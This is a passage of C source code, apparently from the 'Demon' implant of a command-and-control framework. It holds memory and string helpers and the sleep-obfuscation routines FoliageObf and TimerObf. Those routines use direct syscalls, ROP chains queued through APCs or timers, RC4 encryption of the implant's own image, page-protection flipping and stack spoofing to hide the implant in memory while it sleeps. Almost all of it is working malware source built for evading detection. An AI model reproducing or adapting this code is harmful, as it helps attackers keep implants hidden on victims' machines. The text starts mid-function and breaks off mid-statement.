NtProcessHeap(), HEAP_ZERO_MEMORY, Memory, Length ); } /*! * @brief * free memory on the heap * * @param Memory * memory to free * * @return * if successfully freed memory on the heap */ BOOL MmHeapFree( _In_ PVOID Memory ) { return Instance->Win32.RtlFreeHeap( NtProcessHeap(), 0, Memory ); } /*! * Allocates virtual memory * @param Method * @param Process * @param Size * @param Protect * @return */ PVOID MmVirtualAlloc( IN DX_MEMORY Methode, IN HANDLE Process, IN SIZE_T Size, IN DWORD Protect ) { PPACKAGE Package = NULL; PVOID Memory = NULL; NTSTATUS NtStatus = STATUS_SUCCESS; if ( Instance->Config.Implant.Verbose && ( Methode != DX_MEM_DEFAULT ) ) { Package = PackageCreate( DEMON_INFO ); PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC ); } switch ( Methode ) { case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) { Memory = Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ? MmVirtualAlloc( Instance->Config.Memory.Alloc, Process, Size, Protect ) : // if the config memory alloc ain't default then use that MmVirtualAlloc( DX_MEM_SYSCALL, Process, Size, Protect ); // if it is default then simply choose Native/Syscall return Memory; } case DX_MEM_WIN32: { PRINTF( "VirtualAllocEx( %x, NULL, %ld, %ld, %ld ) => ", Process, Size, MEM_RESERVE | MEM_COMMIT, Protect ); Memory = Instance->Win32.VirtualAllocEx( Process, NULL, Size, MEM_RESERVE | MEM_COMMIT, Protect ); PRINTF( "%p\n", Memory ) break; } case DX_MEM_SYSCALL: { if ( ! NT_SUCCESS( NtStatus = SysNtAllocateVirtualMemory( Process, &Memory, 0, &Size, MEM_COMMIT | MEM_RESERVE, Protect ) ) ) { PRINTF( "[-] NtAllocateVirtualMemory: Failed:[%lx]\n", NtStatus ) NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); Memory = NULL; } break; } default: { break; } } PRINTF( "Memory:[%p] MemSize:[%d]\n", Memory, Size ); if ( Memory && Instance->Config.Implant.Verbose ) { Package = PackageCreate( DEMON_INFO ); PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC ); PackageAddPtr( Package, Memory ); PackageAddInt32( Package, Size ); PackageAddInt32( Package, Protect ); PackageTransmit( Package ); Package = NULL; } return Memory; } /*! * Changes the protection of a virtual memory. * @param Method * @param Process * @param Memory * @param Size * @param Protect * @return */ BOOL MmVirtualProtect( IN DX_MEMORY Method, IN HANDLE Process, IN PVOID Memory, IN SIZE_T Size, IN DWORD Protect ) { PPACKAGE Package = NULL; NTSTATUS NtStatus = STATUS_SUCCESS; ULONG OldProtect = 0; BOOL Success = FALSE; switch ( Method ) { case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) { if ( Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ) { return MmVirtualProtect( Instance->Config.Memory.Alloc, Process, Memory, Size, Protect ); } else { return MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, Protect ); } } case DX_MEM_WIN32: { Success = Instance->Win32.VirtualProtectEx( Process, Memory, Size, Protect, &OldProtect ); break; } case DX_MEM_SYSCALL: { if ( ! NT_SUCCESS( NtStatus = SysNtProtectVirtualMemory( Process, &Memory, &Size, Protect, &OldProtect ) ) ) { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); } else { Success = TRUE; } break; } default: { Success = FALSE; } } if ( Success && Instance->Config.Implant.Verbose ) { Package = PackageCreate( DEMON_INFO ); PackageAddInt32( Package, DEMON_INFO_MEM_PROTECT ); PackageAddPtr( Package, Memory ); PackageAddInt32( Package, Size ); PackageAddInt32( Package, OldProtect ); PackageAddInt32( Package, Protect ); PackageTransmit( Package ); Package = NULL; } return Success; } BOOL MmVirtualWrite( IN HANDLE Process, OUT PVOID Memory, IN PVOID Buffer, IN SIZE_T Size ) { if ( ! Process || ! Memory || ! Buffer || ! Size ) { return FALSE; } return NT_SUCCESS( SysNtWriteVirtualMemory( Process, Memory, Buffer, Size, NULL ) ); } /*! * Frees virtual memory * @param Process * @param Memory * @return */ BOOL MmVirtualFree( IN HANDLE Process, IN PVOID Memory ) { SIZE_T Length = { 0 }; MEMORY_BASIC_INFORMATION MmBasic = { 0 }; // // query memory type // if ( ! NT_SUCCESS( SysNtQueryVirtualMemory( Process, Memory, MemoryBasicInformation, &MmBasic, sizeof( MmBasic ), NULL ) ) ) { return FALSE; } // // check if it's a mapped image // if ( ( MmBasic.Type == MEM_MAPPED ) ) { return NT_SUCCESS( SysNtUnmapViewOfSection( NtCurrentProcess(), Memory ) ); } else { return NT_SUCCESS( SysNtFreeVirtualMemory( Process, &Memory, &Length, MEM_RELEASE ) ); } } PVOID MmGadgetFind( _In_ PVOID Memory, _In_ SIZE_T Length, _In_ PVOID PatternBuffer, _In_ SIZE_T PatternLength ) { /* check if required arguments have been specified */ if ( ( ! Memory || ! Length ) || ( ! PatternBuffer || ! PatternLength ) ) { return NULL; } /* now search for gadgets/pattern */ for ( SIZE_T Len = 0; Len < Length; Len++ ) { if ( MemCompare( C_PTR( U_PTR( Memory ) + Len ), PatternBuffer, PatternLength ) == 0 ) { return C_PTR( U_PTR( Memory ) + Len ); } } return NULL; } #ifdef SHELLCODE /*! * Frees the reflective loader * @param BaseAddress * @return */ BOOL FreeReflectiveLoader( IN PVOID BaseAddress ) { if ( ! BaseAddress ) return TRUE; // page align the address BaseAddress = ( PVOID ) ( ( ( ULONG_PTR )BaseAddress ) & ( ~ ( PAGE_SIZE - 1 ) ) ); PRINTF( "Freeing the reflective loader at: 0x%p\n", BaseAddress ) return MmVirtualFree( NtCurrentProcess(), BaseAddress ); } #endif ================================================ FILE: payloads/Demon/src/core/MiniStd.c ================================================ #include #include /* * Most of the functions from here are from VX-Underground https://github.com/vxunderground/VX-API */ INT StringCompareA( LPCSTR String1, LPCSTR String2 ) { for (; *String1 == *String2; String1++, String2++) { if (*String1 == '\0') return 0; } return ((*(LPCSTR)String1 < *(LPCSTR)String2) ? -1 : +1); } INT StringCompareW( LPWSTR String1, LPWSTR String2 ) { for (; *String1 == *String2; String1++, String2++) { if (*String1 == '\0') return 0; } return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1); } INT StringNCompareW( LPWSTR String1, LPWSTR String2, INT Length ) { for (; *String1 == *String2; String1++, String2++, Length--) { if (*String1 == '\0') return 0; if ( Length == 1 ) return 0; } return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1); } WCHAR ToLowerCaseW( WCHAR C ) { return C > 0x40 && C < 0x5b ? C | 0x60 : C; } INT StringCompareIW( LPWSTR String1, LPWSTR String2 ) { for (; ToLowerCaseW( *String1 ) == ToLowerCaseW( *String2 ); String1++, String2++) { if (*String1 == '\0') return 0; } return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1); } INT StringNCompareIW( LPWSTR String1, LPWSTR String2, INT Length ) { for (; ToLowerCaseW( *String1 ) == ToLowerCaseW( *String2 ); String1++, String2++, Length--) { if (*String1 == '\0') return 0; if ( Length == 1 ) return 0; } return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1); } BOOL EndsWithIW( LPWSTR String, LPWSTR Ending ) { DWORD Length1 = 0; DWORD Length2 = 0; if ( ! String || ! Ending ) return FALSE; Length1 = StringLengthW( String ); Length2 = StringLengthW( Ending ); if ( Length1 < Length2 ) return FALSE; String = &String[ Length1 - Length2 ]; return StringCompareIW( String, Ending ) == 0; } /* TODO: replace every func with HashEx */ DWORD HashStringA( PCHAR String ) { ULONG Hash = HASH_KEY; INT c; while (c = *String++) Hash = ((Hash << 5) + Hash) + c; return Hash; } PCHAR StringCopyA(PCHAR String1, PCHAR String2) { PCHAR p = String1; while ((*p++ = *String2++) != 0); return String1; } PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2) { PWCHAR p = String1; while ((*p++ = *String2++) != 0); return String1; } SIZE_T StringLengthA(LPCSTR String) { LPCSTR String2; if ( String == NULL ) return 0; for (String2 = String; *String2; ++String2); return (String2 - String); } SIZE_T StringLengthW(LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } PCHAR StringConcatA(PCHAR String, PCHAR String2) { StringCopyA( &String[ StringLengthA( String ) ], String2 ); return String; } PWCHAR StringConcatW(PWCHAR String, PWCHAR String2) { StringCopyW( &String[ StringLengthW( String ) ], String2 ); return String; } LPWSTR WcsStr( PWCHAR String, PWCHAR String2 ) { if ( ! String || ! String2 ) return NULL; UINT32 Size1 = StringLengthW( String ); UINT32 Size2 = StringLengthW( String2 ); if ( Size2 > Size1 ) return NULL; for ( UINT32 i = 0; i < Size1 - Size2 + 1; i++ ) { if ( StringNCompareW( String + i, String2, Size2 ) == 0 ) return String + i; } return NULL; } LPWSTR WcsIStr( PWCHAR String, PWCHAR String2 ) { if ( ! String || ! String2 ) return NULL; UINT32 Size1 = StringLengthW( String ); UINT32 Size2 = StringLengthW( String2 ); if ( Size2 > Size1 ) return NULL; for ( UINT32 i = 0; i < Size1 - Size2 + 1; i++ ) { if ( StringNCompareIW( String + i, String2, Size2 ) == 0 ) return String + i; } return NULL; } INT MemCompare( PVOID s1, PVOID s2, INT len) { PUCHAR p = s1; PUCHAR q = s2; INT charCompareStatus = 0; if ( s1 == s2 ) { return charCompareStatus; } while (len > 0) { if (*p != *q) { charCompareStatus = (*p >*q)?1:-1; break; } len--; p++; q++; } return charCompareStatus; } SIZE_T WCharStringToCharString(PCHAR Destination, PWCHAR Source, SIZE_T MaximumAllowed) { INT Length = MaximumAllowed; while (--Length >= 0) { if (!(*Destination++ = *Source++)) return MaximumAllowed - Length - 1; } return MaximumAllowed - Length; } SIZE_T CharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed ) { INT Length = (INT)MaximumAllowed; while (--Length >= 0) { if ( ! ( *Destination++ = *Source++ ) ) return MaximumAllowed - Length - 1; } return MaximumAllowed - Length; } PCHAR StringTokenA(PCHAR String, CONST PCHAR Delim) { PCHAR SpanP, Token; INT C, SC; if ( String == NULL ) return NULL; CONTINUE: C = *String++; for (SpanP = (PCHAR)Delim; (SC = *SpanP++) != ERROR_SUCCESS;) { if (C == SC) goto CONTINUE; } if (C == ERROR_SUCCESS) return NULL; Token = String - 1; for (;;) { C = *String++; SpanP = (PCHAR)Delim; do { if ((SC = *SpanP++) == C) { if (C == ERROR_SUCCESS) String = NULL; else String[-1] = '\0'; return Token; } } while (SC != ERROR_SUCCESS); } return NULL; } UINT64 GetSystemFileTime( ) { FILETIME ft; LARGE_INTEGER li; Instance->Win32.GetSystemTimeAsFileTime(&ft); //returns ticks in UTC li.LowPart = ft.dwLowDateTime; li.HighPart = ft.dwHighDateTime; return li.QuadPart; } /* This is a simple trick to hide strings from memory :^) */ BYTE NO_INLINE HideChar( BYTE C ) { return C; } ================================================ FILE: payloads/Demon/src/core/Obf.c ================================================ #include #include #include #include #include #include #include #include #if _WIN64 /*! * @brief * foliage is a sleep obfuscation technique that is using APC calls * to obfuscate itself in memory * * @param Param * @return */ VOID FoliageObf( IN PSLEEP_PARAM Param ) { USTRING Key = { 0 }; USTRING Rc4 = { 0 }; UCHAR Random[16] = { 0 }; HANDLE hEvent = NULL; HANDLE hThread = NULL; HANDLE hDupObj = NULL; // Rop Chain Thread Ctx PCONTEXT RopInit = { 0 }; PCONTEXT RopCap = { 0 }; PCONTEXT RopSpoof = { 0 }; PCONTEXT RopBegin = { 0 }; PCONTEXT RopSetMemRw = { 0 }; PCONTEXT RopMemEnc = { 0 }; PCONTEXT RopGetCtx = { 0 }; PCONTEXT RopSetCtx = { 0 }; PCONTEXT RopWaitObj = { 0 }; PCONTEXT RopMemDec = { 0 }; PCONTEXT RopSetMemRx = { 0 }; PCONTEXT RopSetCtx2 = { 0 }; PCONTEXT RopExitThd = { 0 }; LPVOID ImageBase = NULL; SIZE_T ImageSize = 0; LPVOID TxtBase = NULL; SIZE_T TxtSize = 0; DWORD dwProtect = PAGE_EXECUTE_READWRITE; SIZE_T TmpValue = 0; ImageBase = Instance->Session.ModuleBase; ImageSize = Instance->Session.ModuleSize; // Check if .text section is defined if (Instance->Session.TxtBase != 0 && Instance->Session.TxtSize != 0) { TxtBase = Instance->Session.TxtBase; TxtSize = Instance->Session.TxtSize; dwProtect = PAGE_EXECUTE_READ; } else { TxtBase = Instance->Session.ModuleBase; TxtSize = Instance->Session.ModuleSize; } // Generate random keys for ( SHORT i = 0; i < 16; i++ ) Random[ i ] = RandomNumber32( ); Key.Buffer = &Random; Key.Length = Key.MaximumLength = 0x10; Rc4.Buffer = ImageBase; Rc4.Length = Rc4.MaximumLength = ImageSize; if ( NT_SUCCESS( SysNtCreateEvent( &hEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE ) ) ) { if ( NT_SUCCESS( SysNtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL ) ) ) { RopInit = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopCap = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopSpoof = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopBegin = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopSetMemRw = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopMemEnc = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopGetCtx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopSetCtx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopWaitObj = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopMemDec = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopSetMemRx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopSetCtx2 = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopExitThd = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopInit->ContextFlags = CONTEXT_FULL; RopCap->ContextFlags = CONTEXT_FULL; RopSpoof->ContextFlags = CONTEXT_FULL; RopBegin->ContextFlags = CONTEXT_FULL; RopSetMemRw->ContextFlags = CONTEXT_FULL; RopMemEnc->ContextFlags = CONTEXT_FULL; RopGetCtx->ContextFlags = CONTEXT_FULL; RopSetCtx->ContextFlags = CONTEXT_FULL; RopWaitObj->ContextFlags = CONTEXT_FULL; RopMemDec->ContextFlags = CONTEXT_FULL; RopSetMemRx->ContextFlags = CONTEXT_FULL; RopSetCtx2->ContextFlags = CONTEXT_FULL; RopExitThd->ContextFlags = CONTEXT_FULL; if ( NT_SUCCESS( SysNtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &hDupObj, THREAD_ALL_ACCESS, 0, 0 ) ) ) { if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( hThread, RopInit ) ) ) { MemCopy( RopBegin, RopInit, sizeof( CONTEXT ) ); MemCopy( RopSetMemRw, RopInit, sizeof( CONTEXT ) ); MemCopy( RopMemEnc, RopInit, sizeof( CONTEXT ) ); MemCopy( RopGetCtx, RopInit, sizeof( CONTEXT ) ); MemCopy( RopSetCtx, RopInit, sizeof( CONTEXT ) ); MemCopy( RopWaitObj, RopInit, sizeof( CONTEXT ) ); MemCopy( RopMemDec, RopInit, sizeof( CONTEXT ) ); MemCopy( RopSetMemRx, RopInit, sizeof( CONTEXT ) ); MemCopy( RopSetCtx2, RopInit, sizeof( CONTEXT ) ); MemCopy( RopExitThd, RopInit, sizeof( CONTEXT ) ); RopBegin->ContextFlags = CONTEXT_FULL; RopBegin->Rip = U_PTR( Instance->Win32.NtWaitForSingleObject ); RopBegin->Rsp -= U_PTR( 0x1000 * 13 ); RopBegin->Rcx = U_PTR( hEvent ); RopBegin->Rdx = U_PTR( FALSE ); RopBegin->R8 = U_PTR( NULL ); *( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtWaitForSingleObject( Evt, FALSE, NULL ) RopSetMemRw->ContextFlags = CONTEXT_FULL; RopSetMemRw->Rip = U_PTR( Instance->Win32.NtProtectVirtualMemory ); RopSetMemRw->Rsp -= U_PTR( 0x1000 * 12 ); RopSetMemRw->Rcx = U_PTR( NtCurrentProcess() ); RopSetMemRw->Rdx = U_PTR( &ImageBase ); RopSetMemRw->R8 = U_PTR( &ImageSize ); RopSetMemRw->R9 = U_PTR( PAGE_READWRITE ); *( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); *( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( &TmpValue ); // NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_READWRITE, NULL, ); RopMemEnc->ContextFlags = CONTEXT_FULL; RopMemEnc->Rip = U_PTR( Instance->Win32.SystemFunction032 ); RopMemEnc->Rsp -= U_PTR( 0x1000 * 11 ); RopMemEnc->Rcx = U_PTR( &Rc4 ); RopMemEnc->Rdx = U_PTR( &Key ); *( PVOID* )( RopMemEnc->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // SystemFunction032( &Rc4, &Key ); RC4 Encryption RopGetCtx->ContextFlags = CONTEXT_FULL; RopGetCtx->Rip = U_PTR( Instance->Win32.NtGetContextThread ); RopGetCtx->Rsp -= U_PTR( 0x1000 * 10 ); RopGetCtx->Rcx = U_PTR( hDupObj ); RopGetCtx->Rdx = U_PTR( RopCap ); *( PVOID* )( RopGetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtGetContextThread( Src, Cap ); RopSetCtx->ContextFlags = CONTEXT_FULL; RopSetCtx->Rip = U_PTR( Instance->Win32.NtSetContextThread ); RopSetCtx->Rsp -= U_PTR( 0x1000 * 9 ); RopSetCtx->Rcx = U_PTR( hDupObj ); RopSetCtx->Rdx = U_PTR( RopSpoof ); *( PVOID* )( RopSetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtSetContextThread( Src, Spf ); // NOTE: Here is the thread sleeping... RopWaitObj->ContextFlags = CONTEXT_FULL; RopWaitObj->Rip = U_PTR( Instance->Win32.WaitForSingleObjectEx ); RopWaitObj->Rsp -= U_PTR( 0x1000 * 8 ); RopWaitObj->Rcx = U_PTR( hDupObj ); RopWaitObj->Rdx = U_PTR( Param->TimeOut ); RopWaitObj->R8 = U_PTR( FALSE ); *( PVOID* )( RopWaitObj->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // WaitForSingleObjectEx( Src, Fbr->Time, FALSE ); // NOTE: thread image decryption RopMemDec->ContextFlags = CONTEXT_FULL; RopMemDec->Rip = U_PTR( Instance->Win32.SystemFunction032 ); RopMemDec->Rsp -= U_PTR( 0x1000 * 7 ); RopMemDec->Rcx = U_PTR( &Rc4 ); RopMemDec->Rdx = U_PTR( &Key ); *( PVOID* )( RopMemDec->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // SystemFunction032( &Rc4, &Key ); Rc4 Decryption // RW -> RWX RopSetMemRx->ContextFlags = CONTEXT_FULL; RopSetMemRx->Rip = U_PTR( Instance->Win32.NtProtectVirtualMemory ); RopSetMemRx->Rsp -= U_PTR( 0x1000 * 6 ); RopSetMemRx->Rcx = U_PTR( NtCurrentProcess() ); RopSetMemRx->Rdx = U_PTR( &TxtBase ); RopSetMemRx->R8 = U_PTR( &TxtSize ); RopSetMemRx->R9 = U_PTR( dwProtect ); *( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); *( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( & TmpValue ); // NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_EXECUTE_READ, & TmpValue ); RopSetCtx2->ContextFlags = CONTEXT_FULL; RopSetCtx2->Rip = U_PTR( Instance->Win32.NtSetContextThread ); RopSetCtx2->Rsp -= U_PTR( 0x1000 * 5 ); RopSetCtx2->Rcx = U_PTR( hDupObj ); RopSetCtx2->Rdx = U_PTR( RopCap ); *( PVOID* )( RopSetCtx2->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtSetContextThread( Src, Cap ); RopExitThd->ContextFlags = CONTEXT_FULL; RopExitThd->Rip = U_PTR( Instance->Win32.RtlExitUserThread ); RopExitThd->Rsp -= U_PTR( 0x1000 * 4 ); RopExitThd->Rcx = U_PTR( ERROR_SUCCESS ); *( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // RtlExitUserThread( ERROR_SUCCESS ); if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopBegin, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRw, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemEnc, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopGetCtx, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopWaitObj, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemDec, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRx, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx2, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopExitThd, FALSE, NULL ) ) ) goto Leave; if ( NT_SUCCESS( SysNtAlertResumeThread( hThread, NULL ) ) ) { RopSpoof->ContextFlags = CONTEXT_FULL; RopSpoof->Rip = U_PTR( Instance->Win32.WaitForSingleObjectEx ); RopSpoof->Rsp = U_PTR( Instance->Teb->NtTib.StackBase ); // TODO: try to spoof the stack and remove the pointers // Execute every registered Apc thread SysNtSignalAndWaitForSingleObject( hEvent, hThread, FALSE, NULL ); } } } } } Leave: if ( RopExitThd != NULL ) { Instance->Win32.LocalFree( RopExitThd ); RopExitThd = NULL; } if ( RopSetCtx2 != NULL ) { Instance->Win32.LocalFree( RopSetCtx2 ); RopSetCtx2 = NULL; } if ( RopSetMemRx != NULL ) { Instance->Win32.LocalFree( RopSetMemRx ); RopSetMemRx = NULL; } if ( RopMemDec != NULL ) { Instance->Win32.LocalFree( RopMemDec ); RopMemDec = NULL; } if ( RopWaitObj != NULL ) { Instance->Win32.LocalFree( RopWaitObj ); RopWaitObj = NULL; } if ( RopSetCtx != NULL ) { Instance->Win32.LocalFree( RopSetCtx ); RopSetCtx = NULL; } if ( RopSetMemRw != NULL ) { Instance->Win32.LocalFree( RopSetMemRw ); RopSetMemRw = NULL; } if ( RopBegin != NULL ) { Instance->Win32.LocalFree( RopBegin ); RopBegin = NULL; } if ( RopSpoof != NULL ) { Instance->Win32.LocalFree( RopSpoof ); RopSpoof = NULL; } if ( RopCap != NULL ) { Instance->Win32.LocalFree( RopCap ); RopCap = NULL; } if ( RopInit != NULL ) { Instance->Win32.LocalFree( RopInit ); RopInit = NULL; } if ( hDupObj != NULL ) { SysNtClose( hDupObj ); hDupObj = NULL; } if ( hThread != NULL ) { SysNtTerminateThread( hThread, STATUS_SUCCESS ); hThread = NULL; } if ( hEvent != NULL ) { SysNtClose( hEvent ); hEvent = NULL; } MemSet( &Rc4, 0, sizeof( USTRING ) ); MemSet( &Key, 0, sizeof( USTRING ) ); MemSet( &Random, 0, 0x10 ); Instance->Win32.SwitchToFiber( Param->Master ); } /*! * @brief * ekko/zilean sleep obfuscation technique using * Timers Api (RtlCreateTimer/RtlRegisterWait) * with stack duplication/spoofing by duplicating the * NT_TIB from another thread. * * @note * this technique most likely wont work when the * process is also actively using the timers api. * So in future either use Veh + hardware breakpoints * to create our own thread pool or leave it as it is. * * @param TimeOut * @param Method * @return */ BOOL TimerObf( _In_ ULONG TimeOut, _In_ ULONG Method ) { /* Handles */ HANDLE Queue = { 0 }; HANDLE Timer = { 0 }; HANDLE ThdSrc = { 0 }; HANDLE EvntStart = { 0 }; HANDLE EvntTimer = { 0 }; HANDLE EvntDelay = { 0 }; HANDLE EvntWait = { 0 }; UCHAR Buf[ 16 ] = { 0 }; USTRING Key = { 0 }; USTRING Img = { 0 }; PVOID ImgBase = { 0 }; ULONG ImgSize = { 0 }; CONTEXT TimerCtx = { 0 }; CONTEXT ThdCtx = { 0 }; CONTEXT Rop[ 13 ] = { 0 }; ULONG Value = { 0 }; ULONG Delay = { 0 }; BOOL Success = { 0 }; NT_TIB NtTib = { 0 }; NT_TIB BkpTib = { 0 }; NTSTATUS NtStatus = { 0 }; ULONG Inc = { 0 }; LPVOID ImageBase = { 0 }; SIZE_T ImageSize = { 0 }; LPVOID TxtBase = { 0 }; SIZE_T TxtSize = { 0 }; ULONG Protect = { 0 }; BYTE JmpBypass = { 0 }; PVOID JmpGadget = { 0 }; BYTE JmpPad[] = { 0xFF, 0xE0 }; ImageBase = TxtBase = Instance->Session.ModuleBase; ImageSize = TxtSize = Instance->Session.ModuleSize; Protect = PAGE_EXECUTE_READWRITE; JmpBypass = Instance->Config.Implant.SleepJmpBypass; if ( Instance->Session.TxtBase && Instance->Session.TxtSize ) { TxtBase = Instance->Session.TxtBase; TxtSize = Instance->Session.TxtSize; Protect = PAGE_EXECUTE_READ; } /* create a random key */ for ( BYTE i = 0; i < 16; i++ ) { Buf[ i ] = RandomNumber32( ); } /* set specific context flags */ ThdCtx.ContextFlags = TimerCtx.ContextFlags = CONTEXT_FULL; /* set key pointer and size */ Key.Buffer = Buf; Key.Length = Key.MaximumLength = sizeof( Buf ); /* set agent memory pointer and size */ Img.Buffer = ImgBase = Instance->Session.ModuleBase; Img.Length = Img.MaximumLength = ImgSize = Instance->Session.ModuleSize; if ( Method == SLEEPOBF_EKKO ) { NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue ); } else if ( Method == SLEEPOBF_ZILEAN ) { NtStatus = Instance->Win32.NtCreateEvent( &EvntWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ); } if ( NT_SUCCESS( NtStatus ) ) { /* create events */ if ( NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntDelay, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { /* get the context of the Timer thread based on the method used */ if ( Method == SLEEPOBF_EKKO ) { NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ); } else if ( Method == SLEEPOBF_ZILEAN ) { NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ); } if ( NT_SUCCESS( NtStatus ) ) { /* Send event that we got the context of the timers thread */ if ( Method == SLEEPOBF_EKKO ) { NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( EventSet ), EvntTimer, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ); } else if ( Method == SLEEPOBF_ZILEAN ) { NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( EventSet ), EvntTimer, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ); } if ( NT_SUCCESS( NtStatus ) ) { /* wait til we successfully retrieved the timers thread context */ if ( ! NT_SUCCESS( NtStatus = SysNtWaitForSingleObject( EvntTimer, FALSE, NULL ) ) ) { PRINTF( "Failed waiting for starting event: %lx\n", NtStatus ) goto LEAVE; } /* if stack spoofing is enabled then prepare some stuff */ if ( Instance->Config.Implant.StackSpoof ) { /* retrieve Tib if stack spoofing is enabled */ if ( ! ThreadQueryTib( C_PTR( TimerCtx.Rsp ), &NtTib ) ) { PUTS( "Failed to retrieve Tib" ) goto LEAVE; } /* duplicate the current thread we are going to spoof the stack */ if ( ! NT_SUCCESS( NtStatus = SysNtDuplicateObject( 